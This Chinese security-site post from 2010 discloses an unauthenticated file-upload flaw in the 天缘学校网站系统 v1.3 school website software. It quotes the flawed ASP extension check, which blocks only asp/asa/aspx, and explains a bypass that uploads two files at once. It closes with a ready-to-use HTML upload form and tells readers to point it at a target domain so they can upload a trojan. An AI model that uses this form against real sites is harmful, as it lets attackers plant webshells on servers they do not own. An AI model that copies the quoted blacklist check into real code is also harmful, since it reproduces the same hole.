栏目导航: 首页 > 漏洞预警 > Windows > 内容

天缘学校网站系统 v1.3 上传漏洞

www.hx99.net    时间: 2010-12-27    阅读: 次     整理: 华西安全网

打开admin目录,发现有一个upload.asp,这个文件是提交并对提交的文件进行判断的,里面有这么一句
if Uprequest.form("file_Err")0 then   select case Uprequest.form("file_Err")
不过我看了半天也没看出来这个 file_Err读取的是什么,(本人很菜的)那就去前台的目录好好找找看有没有利用的地方吧。
在前台同时也发现了这个文件


Upload_Photo.asp 打开查看源文件之后发现提交到的地址是 Upfile_Photo.asp
打开Upfile_Photo.asp的源代码,发现程序没有对用户身份进行判断,这样如果程序存在上传我们就可以直接提交我们的了,
继续往下看,越看感觉越眼熟。我贴出发生漏洞的代码吧


for i=0 to ubound(arrUpFileType) ‘对文件的后缀进行判断,如果属于程序要求的后缀,那么就将 EnableUpload变量置为True   if fileEXT=trim(arrUpFileType(i)) then   EnableUpload=true   exit for   end if   next   if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then '判断文件的后缀是不是属于asp、asa、aspx这三种类型(重点问题也发生在这里,   EnableUpload=false '在这里没有对cer、php等等后缀进行过滤,也没有使用Trim对空格进行过滤)   end if   if EnableUpload=false then   msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType   FoundErr=true '判断我们的EnableUpload这个变量是真或者假,真表示合法   end if    strJS="" & vbcrlf   if FoundErrtrue then    randomize   ranNum=int(900*rnd)+100 '在这里又对FoundErr变量进行判断,不为True那就可以上传了。   filename="big"&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt   smallfilename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt   ofile.SaveToFile Server.mappath(SavePath&filename) '保存文件   这不就是以前那个动易的上传漏洞吗?由于这个化境无组件上传可以上传多个文件,我们可以通过上传同时两个不同后缀的文件来绕过判断,从而将我们的木马直接提交到服务器上。

<form action="http://127.0.0.1/Upfile_Photo.asp" method="post" name="form1" enctype="multipart/form-data"> '其中127.0.0.1要改成你要提交的域名URL.
<input name="FileName" type="FILE" class="tx1" size="21" >
<input name="FileName1" type="FILE" class="tx1" size="21" >
<input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
<input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value="1">
</form>

本文来源:华西安全网[http://www.hx99.net]
发表评论】【告诉QQ好友】【错误报告】【加入收藏】【关闭